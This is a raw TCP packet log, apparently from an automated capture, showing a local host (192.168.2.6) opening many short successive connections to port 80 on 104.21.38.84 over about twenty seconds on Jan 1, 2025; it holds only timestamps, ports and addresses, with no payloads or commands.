Jan 1, 2025 16:05:46.610888004 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.671295881 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.671437025 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.671936989 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.676393032 CET	80	62942	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.676464081 CET	62942	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.676655054 CET	80	62943	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.676708937 CET	62943	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.676748037 CET	80	62944	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:46.676814079 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.676917076 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:46.681725979 CET	80	62944	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.032835960 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.037683964 CET	80	62944	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.149229050 CET	80	62944	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.282762051 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.324866056 CET	80	62944	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.396874905 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.452215910 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.457056999 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.457118034 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.457212925 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.461944103 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.814169884 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:47.819016933 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.901918888 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:47.954639912 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.161030054 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.206810951 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.269573927 CET	62944	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.279505968 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.281819105 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.284430027 CET	80	62945	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.286653996 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.286685944 CET	62945	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.288213968 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.288392067 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.293123007 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.642244101 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.647100925 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.741708994 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.783238888 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:48.913104057 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:48.954634905 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.033246994 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.033674955 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.038213015 CET	80	62946	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.038255930 CET	62946	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.038476944 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.038536072 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.038701057 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.043512106 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.392277002 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.397258997 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.483889103 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.532845974 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.671397924 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.720272064 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.793400049 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.793402910 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.798314095 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.798475027 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.798523903 CET	80	62947	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:49.798646927 CET	62947	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.798966885 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:49.803807974 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:50.158819914 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:50.470818996 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:50.940080881 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:50.940098047 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:50.940169096 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:50.940166950 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:50.940206051 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:50.940984011 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:50.941176891 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.284082890 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.329652071 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.468379021 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.469259024 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.473465919 CET	80	62948	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.473526001 CET	62948	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.474133968 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.474221945 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.474396944 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.479168892 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.515738964 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.515980959 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.520593882 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.520657063 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.520849943 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:51.525576115 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.567013025 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:51.876609087 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.189049006 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700057030 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700072050 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700079918 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700089931 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700114965 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700118065 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700143099 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.700158119 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700165033 CET	62949	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700170994 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700193882 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:52.700917006 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.701159954 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.704998016 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:52.705005884 CET	80	62949	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.049778938 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.095273972 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.169178963 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.170002937 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.174217939 CET	80	62950	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.174276114 CET	62950	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.175091028 CET	80	62951	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.175179005 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.175251007 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.180488110 CET	80	62951	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.533072948 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.537848949 CET	80	62951	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.622698069 CET	80	62951	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.673397064 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:53.887413025 CET	80	62951	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:53.939033985 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.236712933 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.241539001 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.241605997 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.241805077 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.246551991 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.595365047 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.600244999 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.844949007 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.857367992 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.857462883 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.981569052 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.981973886 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.986627102 CET	80	62952	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.986716986 CET	62952	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.986742020 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:54.986829996 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.986917973 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:54.991719007 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.345475912 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.350285053 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.458256006 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.501586914 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.621227980 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.673418045 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.745232105 CET	62951	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.749921083 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.750705957 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.754914999 CET	80	62953	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.754986048 CET	62953	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.755455017 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:55.755526066 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.755606890 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:55.760298014 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.111134052 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.115952015 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.200088978 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.251540899 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.475941896 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.518841982 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.534848928 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.534887075 CET	62955	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.539671898 CET	80	62955	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.539886951 CET	80	62954	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.542943954 CET	62954	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.542952061 CET	62955	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.546849012 CET	62955	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.551692963 CET	80	62955	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.590858936 CET	62955	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.594847918 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.599769115 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.602945089 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.603003025 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.607737064 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.643045902 CET	80	62955	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.897445917 CET	80	62955	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:56.897567987 CET	62955	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.958851099 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:56.963794947 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.055696964 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.110991955 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.325978994 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.378849983 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.450849056 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.450867891 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.455758095 CET	80	62957	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.455899954 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.455914021 CET	80	62956	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.456011057 CET	62956	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.456084013 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.460835934 CET	80	62957	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.814174891 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:57.941555977 CET	80	62957	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.941962957 CET	80	62957	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:57.985925913 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.200733900 CET	80	62957	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:58.251573086 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.328599930 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.333486080 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:58.333549976 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.333657026 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.338454962 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:58.689393044 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.694259882 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:58.803641081 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:58.845312119 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:58.978002071 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.032797098 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.086869955 CET	62957	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.094851017 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.094860077 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.099683046 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.099797964 CET	80	62958	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.099939108 CET	62958	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.099941015 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.100018978 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.104756117 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.454870939 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.459836960 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.553180933 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.595304012 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.756119013 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.798435926 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.873790979 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.874558926 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.878906965 CET	80	62959	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.878971100 CET	62959	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.879462004 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:59.879663944 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.879852057 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:59.884646893 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.235980034 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.240869999 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.325068951 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.376611948 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.499767065 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.548580885 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.622059107 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.622121096 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.626951933 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.627161026 CET	80	62960	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.627187014 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.627325058 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.627327919 CET	62960	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.632061958 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:00.986047029 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:00.990979910 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.106311083 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.158866882 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.281244993 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.329691887 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.408709049 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.409499884 CET	62962	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.413789988 CET	80	62961	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.413894892 CET	62961	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.414383888 CET	80	62962	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.414581060 CET	62962	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.414860010 CET	62962	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.419661045 CET	80	62962	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.598083019 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.598288059 CET	62962	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.602972031 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.603060961 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.603204966 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.607949972 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.647099018 CET	80	62962	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.730917931 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.735904932 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.735991955 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.736308098 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.741106033 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.791996002 CET	80	62962	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.792057991 CET	62962	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.954961061 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:01.959942102 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:01.960118055 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.048789024 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.095339060 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.096415043 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.101246119 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.178248882 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.220320940 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.227448940 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.282824039 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.449987888 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.501602888 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.576828957 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.576829910 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.576915979 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.581880093 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.581902981 CET	80	62963	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.582130909 CET	80	62964	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.582304001 CET	62964	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.582304955 CET	62963	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.582305908 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.582880974 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.587732077 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:02.978880882 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:02.983797073 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.044241905 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.238873959 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.328718901 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.450872898 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.454905987 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.456062078 CET	80	62965	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.459033966 CET	62965	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.459795952 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.463238001 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.463507891 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.468308926 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.814251900 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:03.819220066 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.934742928 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:03.986012936 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.102874994 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.157850981 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.236514091 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.237417936 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.241658926 CET	80	62966	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.241733074 CET	62966	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.242265940 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.242325068 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.242455006 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.247255087 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.595743895 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:04.600636959 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.707252979 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.886568069 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:04.890883923 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.015727043 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.018882990 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.021496058 CET	80	62967	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.022952080 CET	62967	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.023741961 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.023885012 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.023958921 CET	62968	80	192.168.2.6	104.21.38.84
